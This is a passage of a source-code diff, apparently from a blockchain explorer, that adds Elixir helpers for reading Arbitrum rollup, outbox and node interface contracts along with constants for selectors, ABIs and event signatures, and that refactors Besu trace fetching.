`:sequencer_inbox`, + `:outbox`) and values representing the contract addresses. + """ + @spec get_contracts_for_rollup( + EthereumJSONRPC.address(), + :bridge | :inbox_outbox, + EthereumJSONRPC.json_rpc_named_arguments() + ) :: %{(:bridge | :sequencer_inbox | :outbox) => binary()} + def get_contracts_for_rollup(rollup_address, contracts_set, json_rpc_named_arguments) + + def get_contracts_for_rollup(rollup_address, :bridge, json_rpc_named_arguments) do + call_simple_getters_in_rollup_contract( + rollup_address, + [ArbitrumContracts.bridge_selector()], + json_rpc_named_arguments + ) + end + + def get_contracts_for_rollup(rollup_address, :inbox_outbox, json_rpc_named_arguments) do + call_simple_getters_in_rollup_contract( + rollup_address, + [ArbitrumContracts.sequencer_inbox_selector(), ArbitrumContracts.outbox_selector()], + json_rpc_named_arguments + ) + end + + # Calls getter functions on a rollup contract and collects their return values. + # + # This function is designed to interact with a rollup contract and invoke specified getter methods. + # It creates a list of requests for each method ID, executes these requests with retries as needed, + # and then maps the results to the corresponding method IDs. + # + # ## Parameters + # - `rollup_address`: The address of the rollup contract to interact with. + # - `method_ids`: A list of method identifiers representing the getter functions to be called. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - A map where each key is a method identifier converted to an atom, and each value is the + # response from calling the respective method on the contract. + defp call_simple_getters_in_rollup_contract(rollup_address, method_ids, json_rpc_named_arguments) do + method_ids + |> Enum.map(fn method_id -> + %{ + contract_address: rollup_address, + method_id: method_id, + args: [] + } + end) + |> EthereumJSONRPC.execute_contract_functions(ArbitrumContracts.rollup_contract_abi(), json_rpc_named_arguments) + |> Enum.zip(method_ids) + |> Enum.reduce(%{}, fn {{:ok, [response]}, method_id}, retval -> + Map.put(retval, ArbitrumContracts.atomized_rollup_contract_selector(method_id), response) + end) + end + + @doc """ + Retrieves the latest confirmed node index for withdrawals Merkle tree. + + This function fetches an actual confirmed L2->L1 node from the Arbitrum rollup address. + It invokes contract method `latestConfirmed()` to obtain the required information. + + ## Parameters + - `rollup_address`: The address of the Arbitrum rollup contract from which + information is being retrieved. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection (L1 chain). + + ## Returns + - {:ok, number} - where `number` is a positive integer representing the latest confirmed node index + {:error, _} - in case of any failure + """ + @spec get_latest_confirmed_node_index( + EthereumJSONRPC.address(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:ok, non_neg_integer()} | {:error, any()} + def get_latest_confirmed_node_index(rollup_address, json_rpc_l1_named_arguments) do + case read_contract( + rollup_address, + ArbitrumContracts.latest_confirmed_selector(), + [], + ArbitrumContracts.rollup_contract_abi(), + json_rpc_l1_named_arguments + ) do + {:ok, [value]} -> + {:ok, value} + + {:error, err} -> + Logger.error("rollup_contract.latestConfirmed() error occurred: #{inspect(err)}") + {:error, err} + end + end @doc """ - Block reward contract beneficiary fetching is not supported currently for Arbitrum L2. + Retrieves the L1 block number in which the rollup node with the provided index was created. - To signal to the caller that fetching is not supported, `:ignore` is returned. + This function fetches node information by specified node index + It invokes Rollup contract method `getNode(nodeNum)` to obtain the required data. + + ## Parameters + - `rollup_address`: The address of the Arbitrum rollup contract from which + information is being retrieved. + - `node_index`: index of the requested rollup node + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection (L1). + + ## Returns + - {:ok, number} - where `number` is block number (L1) in which the rollup node was created + {:error, _} - in case of any failure """ - @impl EthereumJSONRPC.Variant - def fetch_beneficiaries(_block_range, _json_rpc_named_arguments), do: :ignore + @spec get_node_creation_block_number( + EthereumJSONRPC.address(), + non_neg_integer(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:ok, non_neg_integer()} | {:error, any()} + def get_node_creation_block_number(rollup_address, node_index, json_rpc_l1_named_arguments) do + case read_contract( + rollup_address, + ArbitrumContracts.get_node_selector(), + [node_index], + ArbitrumContracts.rollup_contract_abi(), + json_rpc_l1_named_arguments + ) do + # `createdAtBlock` property of node tuple + {:ok, [fields]} -> {:ok, fields |> Kernel.elem(10)} + {:error, err} -> {:error, err} + end + end @doc """ - Internal transaction fetching is not currently supported for Arbitrum L2. + Parses an L2-to-L1 event, extracting relevant information from the event's data. + + This function takes an L2ToL1Tx event emitted by ArbSys contract and parses its fields + to extract needed message properties. - To signal to the caller that fetching is not supported, `:ignore` is returned. + ## Parameters + - `event`: A log entry representing an L2-to-L1 message event. + + ## Returns + - A map describing the L2-to-L1 message """ - @impl EthereumJSONRPC.Variant - def fetch_internal_transactions(_transactions_params, _json_rpc_named_arguments), do: :ignore + @spec l2_to_l1_event_parse(%{ + :data => binary(), + :second_topic => binary(), + :fourth_topic => binary(), + optional(atom()) => any() + }) :: l2_to_l1_event() + def l2_to_l1_event_parse(event) do + [ + caller, + arb_block_number, + eth_block_number, + timestamp, + callvalue, + data + ] = + event.data + |> decode_data(ArbitrumEvents.l2_to_l1_unindexed_params()) + + position = + case quantity_to_integer(event.fourth_topic) do + nil -> 0 + number -> number + end + + caller_string = value_to_address(caller) + destination_string = value_to_address(event.second_topic) + + %{ + :message_id => position, + :caller => caller_string, + :destination => destination_string, + :arb_block_number => arb_block_number, + :eth_block_number => eth_block_number, + :timestamp => timestamp, + :callvalue => callvalue, + :data => data + } + end + + # Decode ABI-encoded data in accordance with the provided types + @spec decode_data(binary() | map(), list()) :: list() | nil + defp decode_data("0x", types) do + for _ <- types, do: nil + end + + defp decode_data("0x" <> encoded_data, types) do + decode_data(encoded_data, types) + end + + defp decode_data(encoded_data, types) do + encoded_data + |> Base.decode16!(case: :mixed) + |> TypeDecoder.decode_raw(types) + end @doc """ - Internal transaction fetching is not currently supported for Arbitrum L2. + Casts a value into an Ethereum address (hex-string, 0x-prefixed, not checksummed). + + ## Parameters + - value: `0x` prefixed hex string or byte array to be cast into an Ethereum address. - To signal to the caller that fetching is not supported, `:ignore` is returned. + ## Returns + - A string representing the Ethereum address in hex format, prefixed with '0x' """ - @impl EthereumJSONRPC.Variant - def fetch_block_internal_transactions(_block_range, _json_rpc_named_arguments), do: :ignore + @spec value_to_address(binary()) :: String.t() + def value_to_address(value) do + hex = + cond do + is_binary(value) and String.starts_with?(value, "0x") -> String.trim_leading(value, "0x") + is_binary(value) -> Base.encode16(value, case: :lower) + true -> raise ArgumentError, "Unsupported address format" + end + + padded_hex = + hex + |> String.trim_leading("0") + |> String.pad_leading(40, "0") + + "0x" <> padded_hex + end @doc """ - Pending transaction fetching is not supported currently for Arbitrum L2. + Calculates the proof needed to claim an L2->L1 message. + + Calls the `constructOutboxProof` method of the Node Interface contract on the + rollup to obtain the data needed for an L2->L1 message claim. - To signal to the caller that fetching is not supported, `:ignore` is returned. + ## Parameters + - `node_interface_address`: Address of the node interface contract + - `size`: Index of the latest confirmed node (cumulative number of confirmed + L2->L1 transactions) + - `leaf`: Position of the L2->L1 message (`position` field of the associated + `L2ToL1Tx` event). Must be less than `size` + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC + connection + + ## Returns + - `{:ok, [send, root, proof]}` where `proof` is an array of 32-byte values + needed to execute messages + - `{:error, _}` if size is less than or equal to leaf, or if an RPC error + occurs """ - @impl EthereumJSONRPC.Variant - def fetch_pending_transactions(_json_rpc_named_arguments), do: :ignore + @spec construct_outbox_proof( + EthereumJSONRPC.address(), + non_neg_integer(), + non_neg_integer(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:ok, any()} | {:error, :invalid} + def construct_outbox_proof(_, size, leaf, _) when size <= leaf do + {:error, :invalid} + end + + def construct_outbox_proof(node_interface_address, size, leaf, json_rpc_named_arguments) do + case read_contract( + node_interface_address, + ArbitrumContracts.construct_outbox_proof_selector(), + [size, leaf], + ArbitrumContracts.node_interface_contract_abi(), + json_rpc_named_arguments + ) do + {:ok, proof} -> + {:ok, proof} + + {:error, err} -> + Logger.error("node_interface_contract.constructOutboxProof error occurred: #{inspect(err)}") + {:error, :invalid} + end + end @doc """ - Traces are not supported currently for Arbitrum L2. + Check is outgoing L2->L1 message was spent. + + To do that we should invoke `isSpent(uint256 index)` method for + `Outbox` contract deployed on 1 chain + + ## Parameters + - `outbox_contract`: address of the Outbox contract (L1 chain) + - `index`: position (index) of the requested L2->L1 message. + - `json_l1_rpc_named_arguments`: Configuration parameters for the JSON RPC + connection for L1 chain. - To signal to the caller that fetching is not supported, `:ignore` is returned. + ## Returns + - `{:ok, is_spent}`, where `is_spent` equals `true` if message was created, confirmed and claimed on L1 + `{:error, _}` in case of any failure """ - @impl EthereumJSONRPC.Variant - def fetch_first_trace(_transactions_params, _json_rpc_named_arguments), do: :ignore + @spec withdrawal_spent?( + EthereumJSONRPC.address(), + non_neg_integer(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:ok, boolean()} | {:error, any()} + def withdrawal_spent?(outbox_contract, position, json_l1_rpc_named_arguments) do + case read_contract( + outbox_contract, + ArbitrumContracts.is_spent_selector(), + [position], + ArbitrumContracts.outbox_contract_abi(), + json_l1_rpc_named_arguments + ) do + {:ok, [value]} -> + {:ok, value} + + {:error, err} -> + Logger.error("outbox_contract.isSpent(position) error occurred: #{inspect(err)}") + {:error, err} + end + end + + # Read a specified contract by provided selector and parameters from the RPC node + # + # ## Parameters + # - `contract_address`: The address of the contract to interact with. + # - `contract_selector`: Selector in form of 4-byte hex-string without 0x prefix + # - `call_arguments`: List of the contract function parameters ([] if there are no parameters for the functions) + # - `contract_abi`: The contract ABI which contains invoked function description + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - `{:ok, term()}` in case of success call or `{:error, String.t()}` on error + @spec read_contract( + EthereumJSONRPC.address(), + String.t(), + [any()], + [map()], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: EthereumJSONRPC.Contract.call_result() + defp read_contract(contract_address, contract_selector, call_arguments, contract_abi, json_rpc_named_arguments) do + [ + %{ + contract_address: contract_address, + method_id: contract_selector, + args: call_arguments + } + ] + |> EthereumJSONRPC.execute_contract_functions(contract_abi, json_rpc_named_arguments) + |> List.first() + end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum/constants/contracts.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum/constants/contracts.ex new file mode 100644 index 000000000000..1136a2bde325 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum/constants/contracts.ex @@ -0,0 +1,549 @@ +defmodule EthereumJSONRPC.Arbitrum.Constants.Contracts do + @moduledoc """ + Provides constants and ABI definitions for Arbitrum-specific smart contracts. + + This module contains function selectors, contract ABIs, and helper functions for + interacting with core Arbitrum protocol contracts including: + """ + + @selector_outbox "ce11e6ab" + @selector_sequencer_inbox "ee35f327" + @selector_bridge "e78cea92" + + @doc """ + Returns selector of the `outbox()` function + """ + @spec outbox_selector() :: <<_::64>> + def outbox_selector, do: @selector_outbox + + @doc """ + Returns selector of the `sequencerInbox()` function + """ + @spec sequencer_inbox_selector() :: <<_::64>> + def sequencer_inbox_selector, do: @selector_sequencer_inbox + + @doc """ + Returns selector of the `bridge()` function + """ + @spec bridge_selector() :: <<_::64>> + def bridge_selector, do: @selector_bridge + + @doc """ + Returns atomized selector of Rollup contract method + + ## Parameters + - `selector`: The selector of the Rollup contract method + + ## Returns + - One of the following atoms: `:outbox`, `:sequencer_inbox`, `:bridge` + """ + @spec atomized_rollup_contract_selector(<<_::64>>) :: atom() + def atomized_rollup_contract_selector(@selector_outbox), do: :outbox + def atomized_rollup_contract_selector(@selector_sequencer_inbox), do: :sequencer_inbox + def atomized_rollup_contract_selector(@selector_bridge), do: :bridge + + @doc """ + Returns selector of the `latestConfirmed()` function + """ + @spec latest_confirmed_selector() :: <<_::64>> + def latest_confirmed_selector, do: "65f7f80d" + + @doc """ + Returns selector of the `getNode(uint64 nodeNum)` function + """ + @spec get_node_selector() :: <<_::64>> + def get_node_selector, do: "92c8134c" + + @doc """ + Returns ABI of the rollup contract + """ + @spec rollup_contract_abi() :: [map()] + def rollup_contract_abi, + do: [ + %{ + "inputs" => [], + "name" => "outbox", + "outputs" => [ + %{ + "internalType" => "address", + "name" => "", + "type" => "address" + } + ], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [], + "name" => "sequencerInbox", + "outputs" => [ + %{ + "internalType" => "address", + "name" => "", + "type" => "address" + } + ], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [], + "name" => "bridge", + "outputs" => [ + %{ + "internalType" => "address", + "name" => "", + "type" => "address" + } + ], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [], + "name" => "latestConfirmed", + "outputs" => [ + %{ + "internalType" => "uint64", + "name" => "", + "type" => "uint64" + } + ], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [ + %{ + "internalType" => "uint64", + "name" => "", + "type" => "uint64" + } + ], + "name" => "getNode", + "outputs" => [ + %{ + "type" => "tuple", + "name" => "", + "internalType" => "struct Node", + "components" => [ + %{"type" => "bytes32", "name" => "stateHash", "internalType" => "bytes32"}, + %{"type" => "bytes32", "name" => "challengeHash", "internalType" => "bytes32"}, + %{"type" => "bytes32", "name" => "confirmData", "internalType" => "bytes32"}, + %{"type" => "uint64", "name" => "prevNum", "internalType" => "uint64"}, + %{"type" => "uint64", "name" => "deadlineBlock", "internalType" => "uint64"}, + %{"type" => "uint64", "name" => "noChildConfirmedBeforeBlock", "internalType" => "uint64"}, + %{"type" => "uint64", "name" => "stakerCount", "internalType" => "uint64"}, + %{"type" => "uint64", "name" => "childStakerCount", "internalType" => "uint64"}, + %{"type" => "uint64", "name" => "firstChildBlock", "internalType" => "uint64"}, + %{"type" => "uint64", "name" => "latestChildNumber", "internalType" => "uint64"}, + %{"type" => "uint64", "name" => "createdAtBlock", "internalType" => "uint64"}, + %{"type" => "bytes32", "name" => "nodeHash", "internalType" => "bytes32"} + ] + } + ], + "stateMutability" => "view", + "type" => "function" + } + ] + + @doc """ + Returns address of precompile NodeInterface precompile on Arbitrum chain + """ + @spec node_interface_contract_address() :: <<_::336>> + def node_interface_contract_address, do: "0x00000000000000000000000000000000000000c8" + + @doc """ + Returns selector of the `constructOutboxProof(uint64 size, uint64 leaf)` function + """ + @spec construct_outbox_proof_selector() :: <<_::64>> + def construct_outbox_proof_selector, do: "42696350" + + @doc """ + Returns selector of the `findBatchContainingBlock(uint64 blockNum)` function + """ + @spec find_batch_containing_block_selector() :: <<_::64>> + def find_batch_containing_block_selector, do: "81f1adaf" + + @doc """ + Returns ABI of the node interface contract + """ + @spec node_interface_contract_abi() :: [map()] + def node_interface_contract_abi, + do: [ + %{ + "inputs" => [ + %{ + "internalType" => "uint64", + "name" => "size", + "type" => "uint64" + }, + %{ + "internalType" => "uint64", + "name" => "leaf", + "type" => "uint64" + } + ], + "name" => "constructOutboxProof", + "outputs" => [ + %{ + "internalType" => "bytes32", + "name" => "send", + "type" => "bytes32" + }, + %{ + "internalType" => "bytes32", + "name" => "root", + "type" => "bytes32" + }, + %{ + "internalType" => "bytes32[]", + "name" => "proof", + "type" => "bytes32[]" + } + ], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [ + %{ + "internalType" => "uint64", + "name" => "blockNum", + "type" => "uint64" + } + ], + "name" => "findBatchContainingBlock", + "outputs" => [ + %{ + "internalType" => "uint64", + "name" => "batch", + "type" => "uint64" + } + ], + "stateMutability" => "view", + "type" => "function" + } + ] + + @doc """ + Returns selector of the `isSpent(uint256 index)` function + """ + @spec is_spent_selector() :: <<_::64>> + def is_spent_selector, do: "5a129efe" + # credo:disable-for-previous-line Credo.Check.Readability.PredicateFunctionNames + + @doc """ + Returns ABI of the outbox contract + """ + @spec outbox_contract_abi() :: [map()] + def outbox_contract_abi, + do: [ + %{ + "inputs" => [ + %{ + "internalType" => "uint256", + "name" => "index", + "type" => "uint256" + } + ], + "name" => "isSpent", + "outputs" => [ + %{ + "internalType" => "bool", + "name" => "", + "type" => "bool" + } + ], + "stateMutability" => "view", + "type" => "function" + } + ] + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the `finalizeInboundTransfer(...)` function + """ + def finalize_inbound_transfer_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "finalizeInboundTransfer", + returns: [], + types: [ + # _token + :address, + # _from + :address, + # _to + :address, + # _amount + {:uint, 256}, + # data + :bytes + ] + } + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the `executeTransaction(...)` function + """ + def execute_transaction_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "executeTransaction", + returns: [], + types: [ + # proof + {:array, {:bytes, 32}}, + # index + {:uint, 256}, + # l2Sender + :address, + # to + :address, + # l2Block + {:uint, 256}, + # l1Block + {:uint, 256}, + # l2Timestamp + {:uint, 256}, + # value + {:uint, 256}, + # data + :bytes + ], + type: :function, + inputs_indexed: [] + } + + @doc """ + Returns selector of the `getKeysetCreationBlock(bytes32 ksHash)` function + """ + @spec get_keyset_creation_block_selector() :: <<_::64>> + def get_keyset_creation_block_selector, do: "258f0495" + + @doc """ + Returns ABI of the sequencer inbox contract + """ + @spec sequencer_inbox_contract_abi() :: [map()] + def sequencer_inbox_contract_abi, + do: [ + %{ + "inputs" => [%{"internalType" => "bytes32", "name" => "ksHash", "type" => "bytes32"}], + "name" => "getKeysetCreationBlock", + "outputs" => [%{"internalType" => "uint256", "name" => "", "type" => "uint256"}], + "stateMutability" => "view", + "type" => "function" + } + ] + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + addSequencerL2BatchFromBlobs( + uint256 sequenceNumber, + uint256 afterDelayedMessagesRead, + address gasRefunder, + uint256 prevMessageCount, + uint256 newMessageCount + ) + """ + def add_sequencer_l2_batch_from_blobs_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "addSequencerL2BatchFromBlobs", + types: [ + {:uint, 256}, + {:uint, 256}, + :address, + {:uint, 256}, + {:uint, 256} + ] + } + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + addSequencerL2BatchFromOrigin( + uint256 sequenceNumber, + bytes calldata data, + uint256 afterDelayedMessagesRead, + address gasRefunder, + uint256 prevMessageCount, + uint256 newMessageCount + ) + """ + def add_sequencer_l2_batch_from_origin_8f111f3c_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "addSequencerL2BatchFromOrigin", + types: [ + {:uint, 256}, + :bytes, + {:uint, 256}, + :address, + {:uint, 256}, + {:uint, 256} + ] + } + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + addSequencerL2BatchFromOrigin( + uint256 sequenceNumber, + bytes calldata data, + uint256 afterDelayedMessagesRead, + address gasRefunder, + uint256 prevMessageCount, + uint256 newMessageCount, + bytes quote + ) + """ + def add_sequencer_l2_batch_from_origin_37501551_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "addSequencerL2BatchFromOrigin", + types: [ + {:uint, 256}, + :bytes, + {:uint, 256}, + :address, + {:uint, 256}, + {:uint, 256}, + :bytes + ] + } + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + addSequencerL2BatchFromOrigin( + uint256 sequenceNumber, + bytes calldata data, + uint256 afterDelayedMessagesRead, + address gasRefunder + ) + """ + def add_sequencer_l2_batch_from_origin_6f12b0c9_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "addSequencerL2BatchFromOrigin", + types: [ + {:uint, 256}, + :bytes, + {:uint, 256}, + :address + ] + } + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + addSequencerL2BatchFromBlobsDelayProof( + uint256 sequenceNumber, + uint256 afterDelayedMessagesRead, + address gasRefunder, + uint256 prevMessageCount, + uint256 newMessageCount, + DelayProof calldata delayProof + ) + """ + def add_sequencer_l2_batch_from_blobs_delay_proof_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "addSequencerL2BatchFromBlobsDelayProof", + types: [ + {:uint, 256}, + {:uint, 256}, + :address, + {:uint, 256}, + {:uint, 256}, + {:tuple, + [ + {:bytes, 32}, + {:tuple, + [ + {:uint, 8}, + :address, + {:uint, 64}, + {:uint, 64}, + {:uint, 256}, + {:uint, 256}, + {:bytes, 32} + ]} + ]} + ] + } + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + addSequencerL2BatchFromOriginDelayProof( + uint256 sequenceNumber, + bytes calldata data, + uint256 afterDelayedMessagesRead, + address gasRefunder, + uint256 prevMessageCount, + uint256 newMessageCount, + DelayProof calldata delayProof + ) + """ + def add_sequencer_l2_batch_from_origin_delay_proof_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "addSequencerL2BatchFromOriginDelayProof", + types: [ + {:uint, 256}, + :bytes, + {:uint, 256}, + :address, + {:uint, 256}, + {:uint, 256}, + {:tuple, + [ + {:bytes, 32}, + {:tuple, + [ + {:uint, 8}, + :address, + {:uint, 64}, + {:uint, 64}, + {:uint, 256}, + {:uint, 256}, + {:bytes, 32} + ]} + ]} + ] + } + + @doc """ + Returns selector with ABI (object of `ABI.FunctionSelector`) of the function: + + addSequencerL2BatchDelayProof( + uint256 sequenceNumber, + bytes calldata data, + uint256 afterDelayedMessagesRead, + address gasRefunder, + uint256 prevMessageCount, + uint256 newMessageCount, + DelayProof calldata delayProof + ) + """ + def add_sequencer_l2_batch_delay_proof_selector_with_abi, + do: %ABI.FunctionSelector{ + function: "addSequencerL2BatchDelayProof", + types: [ + {:uint, 256}, + :bytes, + {:uint, 256}, + :address, + {:uint, 256}, + {:uint, 256}, + {:tuple, + [ + {:bytes, 32}, + {:tuple, + [ + {:uint, 8}, + :address, + {:uint, 64}, + {:uint, 64}, + {:uint, 256}, + {:uint, 256}, + {:bytes, 32} + ]} + ]} + ] + } +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum/constants/events.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum/constants/events.ex new file mode 100644 index 000000000000..1a18f7548691 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum/constants/events.ex @@ -0,0 +1,155 @@ +defmodule EthereumJSONRPC.Arbitrum.Constants.Events do + @moduledoc """ + Provides constant values for Arbitrum-specific event signatures and their parameter types. + + This module contains keccak256 hashes of event signatures and their corresponding unindexed + parameter types for various Arbitrum protocol events, including: + - L2ToL1Tx + - NodeCreated + - SetValidKeyset + - SequencerBatchDelivered + - SendRootUpdated + - OutBoxTransactionExecuted + - MessageDelivered + + Each event signature is stored as a 32-byte string and is accompanied by helper functions + to access both the signature and, where applicable, the unindexed parameter types used + in event decoding. + """ + + # keccak256("L2ToL1Tx(address,address,uint256,uint256,uint256,uint256,uint256,uint256,bytes)") + @l2_to_l1 "0x3e7aafa77dbf186b7fd488006beff893744caa3c4f6f299e8a709fa2087374fc" + @l2_to_l1_unindexed_params [ + :address, + {:uint, 256}, + {:uint, 256}, + {:uint, 256}, + {:uint, 256}, + :bytes + ] + + @doc """ + Returns 32-byte signature of the event `L2ToL1Tx` + """ + @spec l2_to_l1() :: <<_::528>> + def l2_to_l1, do: @l2_to_l1 + + @spec l2_to_l1_unindexed_params() :: [atom() | {atom(), non_neg_integer()}] + def l2_to_l1_unindexed_params, do: @l2_to_l1_unindexed_params + + # keccak256("NodeCreated(uint64,bytes32,bytes32,bytes32,(((bytes32[2],uint64[2]),uint8),((bytes32[2],uint64[2]),uint8),uint64),bytes32,bytes32,uint256)") + @node_created "0x4f4caa9e67fb994e349dd35d1ad0ce23053d4323f83ce11dc817b5435031d096" + @node_created_unindexed_params [ + {:bytes, 32}, + # Assertion assertion + {:tuple, + [ + # ExecutionState beforeState + {:tuple, + [ + # GlobalState globalState + {:tuple, + [ + # bytes32[2] bytes32Values + {:array, {:bytes, 32}, 2}, + # uint64[2] u64Values + {:array, {:uint, 64}, 2} + ]}, + # MachineStatus machineStatus: enum MachineStatus {RUNNING, FINISHED, ERRORED, TOO_FAR} + {:uint, 256} + ]}, + # ExecutionState afterState + {:tuple, + [ + # GlobalState globalState + {:tuple, + [ + # bytes32[2] bytes32Values + {:array, {:bytes, 32}, 2}, + # uint64[2] u64Values + {:array, {:uint, 64}, 2} + ]}, + # MachineStatus machineStatus: enum MachineStatus {RUNNING, FINISHED, ERRORED, TOO_FAR} + {:uint, 256} + ]}, + # uint64 numBlocks + {:uint, 64} + ]}, + {:bytes, 32}, + {:bytes, 32}, + {:uint, 256} + ] + + @doc """ + Returns 32-byte signature of the event `NodeCreated` + """ + @spec node_created() :: <<_::528>> + def node_created, do: @node_created + + @spec node_created_unindexed_params() :: [atom() | {atom(), non_neg_integer()}] + def node_created_unindexed_params, do: @node_created_unindexed_params + + # keccak256("SetValidKeyset(bytes32,bytes)") + @set_valid_keyset "0xabca9b7986bc22ad0160eb0cb88ae75411eacfba4052af0b457a9335ef655722" + @set_valid_keyset_unindexed_params [:bytes] + + @doc """ + Returns 32-byte signature of the event `SetValidKeyset` + """ + @spec set_valid_keyset() :: <<_::528>> + def set_valid_keyset, do: @set_valid_keyset + + @spec set_valid_keyset_unindexed_params() :: [atom() | {atom(), non_neg_integer()}] + def set_valid_keyset_unindexed_params, do: @set_valid_keyset_unindexed_params + + # keccak256("SequencerBatchDelivered(uint256,bytes32,bytes32,bytes32,uint256,(uint64,uint64,uint64,uint64),uint8)") + @sequencer_batch_delivered "0x7394f4a19a13c7b92b5bb71033245305946ef78452f7b4986ac1390b5df4ebd7" + + @doc """ + Returns 32-byte signature of the event `SequencerBatchDelivered` + """ + @spec sequencer_batch_delivered() :: <<_::528>> + def sequencer_batch_delivered, do: @sequencer_batch_delivered + + # keccak256("SendRootUpdated(bytes32,bytes32)") + @send_root_updated "0xb4df3847300f076a369cd76d2314b470a1194d9e8a6bb97f1860aee88a5f6748" + + @doc """ + Returns 32-byte signature of the event `SendRootUpdated` + """ + @spec send_root_updated() :: <<_::528>> + def send_root_updated, do: @send_root_updated + + # keccak256("OutBoxTransactionExecuted(address,address,uint256,uint256)") + @outbox_transaction_executed "0x20af7f3bbfe38132b8900ae295cd9c8d1914be7052d061a511f3f728dab18964" + @outbox_transaction_executed_unindexed_params [{:uint, 256}] + + @doc """ + Returns 32-byte signature of the event `OutBoxTransactionExecuted` + """ + @spec outbox_transaction_executed() :: <<_::528>> + def outbox_transaction_executed, do: @outbox_transaction_executed + + @spec outbox_transaction_executed_unindexed_params() :: [atom() | {atom(), non_neg_integer()}] + def outbox_transaction_executed_unindexed_params, do: @outbox_transaction_executed_unindexed_params + + # keccak256("MessageDelivered(uint256,bytes32,address,uint8,address,bytes32,uint256,uint64)") + @message_delivered "0x5e3c1311ea442664e8b1611bfabef659120ea7a0a2cfc0667700bebc69cbffe1" + @message_delivered_unindexed_params [ + :address, + {:uint, 8}, + :address, + {:bytes, 32}, + {:uint, 256}, + {:uint, 64} + ] + + @doc """ + Returns 32-byte signature of the event `MessageDelivered` + """ + @spec message_delivered() :: <<_::528>> + def message_delivered, do: @message_delivered + + @spec message_delivered_unindexed_params() :: [atom() | {atom(), non_neg_integer()}] + def message_delivered_unindexed_params, do: @message_delivered_unindexed_params +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu.ex index 29707f0a3326..45b8d545e3ac 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/besu.ex @@ -4,10 +4,11 @@ defmodule EthereumJSONRPC.Besu do Ethereum JSONRPC methods that are only supported by [Besu](https://besu.hyperledger.org/en/stable/Reference/API-Methods). """ require Logger + import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2, request: 1] - alias EthereumJSONRPC.Besu.{FetchedBeneficiaries, Traces} - alias EthereumJSONRPC.{Transaction, Transactions} + alias EthereumJSONRPC.Besu.Traces + alias EthereumJSONRPC.{FetchedBeneficiaries, PendingTransaction, TraceReplayBlockTransactions, Transaction} @behaviour EthereumJSONRPC.Variant @@ -35,48 +36,12 @@ defmodule EthereumJSONRPC.Besu do """ @impl EthereumJSONRPC.Variant def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) when is_list(block_numbers) do - id_to_params = id_to_params(block_numbers) - - with {:ok, responses} <- - id_to_params - |> trace_replay_block_transactions_requests() - |> json_rpc(json_rpc_named_arguments) do - trace_replay_block_transactions_responses_to_internal_transactions_params(responses, id_to_params) - end + TraceReplayBlockTransactions.fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments, Traces) end @impl EthereumJSONRPC.Variant def fetch_first_trace(transactions_params, json_rpc_named_arguments) when is_list(transactions_params) do - id_to_params = id_to_params(transactions_params) - - trace_replay_transaction_response = - id_to_params - |> trace_replay_transaction_requests() - |> json_rpc(json_rpc_named_arguments) - - case trace_replay_transaction_response do - {:ok, responses} -> - case trace_replay_transaction_responses_to_first_trace_params(responses, id_to_params) do - {:ok, [first_trace]} -> - %{block_hash: block_hash} = - transactions_params - |> Enum.at(0) - - {:ok, - [%{first_trace: first_trace, block_hash: block_hash, json_rpc_named_arguments: json_rpc_named_arguments}]} - - {:error, error} -> - Logger.error(inspect(error)) - {:error, error} - end - - {:error, :econnrefused} -> - {:error, :econnrefused} - - {:error, [error]} -> - Logger.error(inspect(error)) - {:error, error} - end + TraceReplayBlockTransactions.fetch_first_trace(transactions_params, json_rpc_named_arguments, Traces) end @doc """ @@ -89,217 +54,28 @@ defmodule EthereumJSONRPC.Besu do @spec fetch_pending_transactions(EthereumJSONRPC.json_rpc_named_arguments()) :: {:ok, [Transaction.params()]} | {:error, reason :: term} def fetch_pending_transactions(json_rpc_named_arguments) do - with 